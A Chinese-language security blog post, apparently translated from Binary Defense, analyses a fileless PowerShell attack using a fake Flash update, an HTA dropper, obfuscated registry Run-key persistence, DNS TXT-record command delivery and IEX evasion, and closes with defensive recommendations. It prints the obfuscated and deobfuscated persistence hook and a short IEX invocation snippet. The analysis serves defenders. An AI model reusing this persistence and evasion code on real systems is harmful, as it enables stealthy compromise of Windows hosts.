PowerShell是網(wǎng)絡(luò)安全專(zhuān)家、IT管理員以及黑客們最喜歡的工具之一,這一點(diǎn)是毋庸置疑的。PowerShell的可擴(kuò)展性和其強(qiáng)大的功能讓微軟操作系統(tǒng)的可控制程度上升到了一個(gè)前所未有的等級(jí)。簡(jiǎn)單說(shuō)來(lái),Powershell 是運(yùn)行在windows機(jī)器上實(shí)現(xiàn)系統(tǒng)和應(yīng)用程序管理自動(dòng)化的命令行腳本環(huán)境,而它可以算是顛覆了傳統(tǒng)的命令行提示符-cmd.exe。
在Binary Defense(一家專(zhuān)業(yè)從事網(wǎng)絡(luò)安全業(yè)務(wù)的公司)中有著大量PowerShell的擁護(hù)者,無(wú)論是進(jìn)行自動(dòng)化測(cè)試也好,還是進(jìn)行復(fù)雜的程序分析也罷,PowerShell都是他們的首選工具。除此之外,像PowerShell Empire以及PowerSploit這樣的工具也是網(wǎng)絡(luò)安全研究領(lǐng)域以及黑客的摯愛(ài)。
攻擊分析
我們通常可以看到很多利用PowerShell的攻擊向量,而且在昨天晚上,我們的終端安全檢測(cè)與應(yīng)急響應(yīng)平臺(tái)(Vision)檢測(cè)到了一個(gè)使用了多種方法來(lái)實(shí)現(xiàn)攻擊持久化并規(guī)避傳統(tǒng)反病毒技術(shù)的攻擊事件。它所使用的第一種方法是讓目標(biāo)用戶(hù)訪問(wèn)一個(gè)需要升級(jí)Adobe Flash瀏覽器插件的網(wǎng)站,而攻擊者在這里需要使用到mshta.exe(一種HTA攻擊方法),MSHTA.exe是微軟的一個(gè)合法程序,它可以在任何瀏覽器中隨時(shí)調(diào)用。但是在大多數(shù)情況下,它并不是合法的擴(kuò)展,因此我們建議用戶(hù)在配置防火墻時(shí)屏蔽所有的HTA擴(kuò)展。因?yàn)镠TA文件允許我們調(diào)用任意的命令,而攻擊者同樣可以做到這一點(diǎn),所以啟用HTA擴(kuò)展很有可能讓我們的主機(jī)遭到攻擊。
需要注意的是,這個(gè)攻擊向量在很多年前就已經(jīng)嵌入在了Unicorn和社會(huì)工程學(xué)工具套件(SET)之中了。

此時(shí),如果系統(tǒng)彈出了提示框,而攻擊者又根據(jù)提示框中的信息進(jìn)行了操作(打開(kāi)-open),那么目標(biāo)用戶(hù)將會(huì)被攻擊。攻擊向量可以是一個(gè)VBS下載器、PowerShell,或者是一段下載后自動(dòng)執(zhí)行的惡意代碼。只要用戶(hù)點(diǎn)擊了“Open”,任何事情都有可能會(huì)發(fā)生。但是在我們近期所研究的攻擊案例中,攻擊者使用了HTA攻擊方法作為攻擊的初始階段和Dropper。
頁(yè)面會(huì)發(fā)起一個(gè)惡意HTA,當(dāng)用戶(hù)打開(kāi)了這個(gè)HTA之后,Vision會(huì)立刻檢測(cè)到其惡意行為:

當(dāng)文件被打開(kāi)之后,一段PowerShell命令將會(huì)被執(zhí)行。一般情況下攻擊者會(huì)通過(guò)PowerShell發(fā)動(dòng)SYSWOW64降級(jí)攻擊,這種攻擊向量可以將進(jìn)程降級(jí)為32位進(jìn)程,并實(shí)現(xiàn)shellcode注入攻擊,而且Unicorn/SET多年以來(lái)一直都在使用這種技術(shù)。
在對(duì)具體的日志記錄進(jìn)行了分析之后我們發(fā)現(xiàn),很多攻擊者會(huì)使用Invoke-Expression(IEX)來(lái)提取出特定的注冊(cè)表鍵,并實(shí)現(xiàn)持久化鉤子。在PowerShell的初始調(diào)用中,變量名和持久化鉤子都經(jīng)過(guò)了混淆處理。大致如下圖所示:

在這種攻擊中,注冊(cè)表入口位于CurrentVersion\Run,而這里也是持久化鉤子的起始位置。
日志信息如下:
混淆后的持久化注冊(cè)表鉤子:
HKEY_USERS:SANITIZED\Software\Microsoft\Windows\CurrentVersion\Run
"C:\Windows\system32\mshta.exe" "about:c1hop="X642N10";R3I=new%20ActiveXObject("WScript.Shell");QR3iroUf="I7pL7";k9To7P=R3I.RegRead("HKCU\\software
\\bkzlq\\zsdnhepyzs");J7UuF1n="Q2LnLxas";eval(k9To7P);JUe5wz3O="zSfmLod";"
反混淆后的持久化注冊(cè)表鉤子:
WScript_Shell_Object = new ActiveXObject("WScript.Shell");
Registry_Key_Value=WScript_Shell_Object.RegRead("HKCU\\software\\bkzlq\\zsdnhepyzs");
eval(Registry_Key_Value);
這種就是我們所稱(chēng)之為的無(wú)文件攻擊向量,因?yàn)樗恍枰蛴脖P(pán)寫(xiě)入任何內(nèi)容,它唯一需要的就是注冊(cè)表鍵,并通過(guò)運(yùn)行注冊(cè)表鍵來(lái)在目標(biāo)系統(tǒng)中實(shí)現(xiàn)持久化注入。在我們的攻擊場(chǎng)景中,mshta.exe將利用嵌入了PowerShell指令的WScript.shell來(lái)調(diào)用特定的注冊(cè)表鍵,而且傳統(tǒng)的反病毒產(chǎn)品以及目前絕大多數(shù)安全解決方案都無(wú)法檢測(cè)到這種無(wú)文件的持久化攻擊。
利用原生的PowerShell以及mshta,攻擊者將可以通過(guò)傳統(tǒng)的感染技術(shù)來(lái)實(shí)現(xiàn)系統(tǒng)入侵,而且完全不需要下載額外的惡意代碼或安插系統(tǒng)后門(mén)。在此過(guò)程中,大多數(shù)攻擊者會(huì)選擇使用Invoke-Expression,但是具體的攻擊實(shí)現(xiàn)方法也是多種多樣的。近期,安全研究專(zhuān)家Vincent Yiu(@vysecurity)演示了一種無(wú)需調(diào)用IEX和ExcodedCommand就可以繞過(guò)傳統(tǒng)檢測(cè)技術(shù)的攻擊方法,而且目前很多高級(jí)攻擊者也在廣泛使用這種技術(shù)。有關(guān)這項(xiàng)技術(shù)的更多詳細(xì)內(nèi)容請(qǐng)參考Vincent Yiu的Twitter:

在這個(gè)例子中,網(wǎng)站的TXT記錄將會(huì)下載PowerShell命令,并通過(guò)nslookup在系統(tǒng)中執(zhí)行這些命令。這也就意味著,我們可以將命令注入在DNS的TXT記錄中,然后讓系統(tǒng)自動(dòng)執(zhí)行這些PowerShell命令。Vision所檢測(cè)到的一種惡意行為模式如下:

如果檢測(cè)到了nslookup或者代碼提取行為,那么Vision將能夠迅速識(shí)別出PowerShell代碼中的nslookup請(qǐng)求以及TXT記錄中的惡意代碼。需要注意的是,Vencent Yiu所提供的方法只能執(zhí)行一個(gè)文件而無(wú)法執(zhí)行代碼本身,因此我們還需要其他的命令從nslookup TXT記錄中提取出代碼并執(zhí)行它們。
安全研究專(zhuān)家Daniel Bohannon給出了一種不同的實(shí)現(xiàn)方法,但這種方法仍然需要用到IEX。演示樣例如下:
$nslookupResult1 = 'iex'
$nslookupResult2 = 'Write-Host THIS IS MY ACTUAL PAYLOAD -f green'
. $nslookupResult1 $nslookupResult2
or even better:
$nslookupAllInOne = @('iex','Write-Host ALL IN ONE -f green')
. $nslookupAllInOne[0] $nslookupAllInOne[1]
下圖為Vision所識(shí)別出的一種特定攻擊模式:

應(yīng)對(duì)方案
對(duì)于那些沒(méi)有使用Vision代碼防御平臺(tái)的企業(yè)來(lái)說(shuō),可以采用以下幾種實(shí)踐方法來(lái)防止攻擊者利用PowerShell攻擊企業(yè)的網(wǎng)絡(luò)系統(tǒng):
限制PowerShell命令的字符長(zhǎng)度;
限制PowerShell的語(yǔ)言模式;
啟用增強(qiáng)型PowerShell;(參考資料);
定期執(zhí)行威脅檢測(cè)以盡早識(shí)別出可疑活動(dòng);
審查DNS日志并尋找可疑的控制命令和DNS請(qǐng)求;
搜索可疑的System.Management.Automation.dll以及System.Management.Automation.ni.dll
利用類(lèi)似Sysmon這樣的工具來(lái)檢測(cè)和記錄可疑進(jìn)程;
在正常情況下禁止普通用戶(hù)執(zhí)行PowerShell命令(AppLocker +Device Guard可以防止普通用戶(hù)使用PowerShell);
監(jiān)控powershell.exe的子進(jìn)程以及可能存在的鉤子;
搜索powershell.exe派生出的32位PowerShell子進(jìn)程,這也是一種shellcode注入技術(shù)的典型檢測(cè)方法;
更多內(nèi)容請(qǐng)參考Matthew Graeber的Twitter;

總結(jié)
由于安全研究人員和網(wǎng)絡(luò)攻擊者會(huì)遇到越來(lái)越先進(jìn)的PowerShell以及相應(yīng)的檢測(cè)繞過(guò)技術(shù),那些基于模式識(shí)別的傳統(tǒng)檢測(cè)方法已經(jīng)不能再僅僅依靠惡意PowerShell來(lái)完成檢測(cè)了,而且隨著代碼混淆技術(shù)的不斷發(fā)展,安全防御人員的工作更是難上加難。因此,我們只有盡早地識(shí)別出可疑的行為模式,才能夠降低個(gè)人用戶(hù)和企業(yè)用戶(hù)受到攻擊的可能性。
|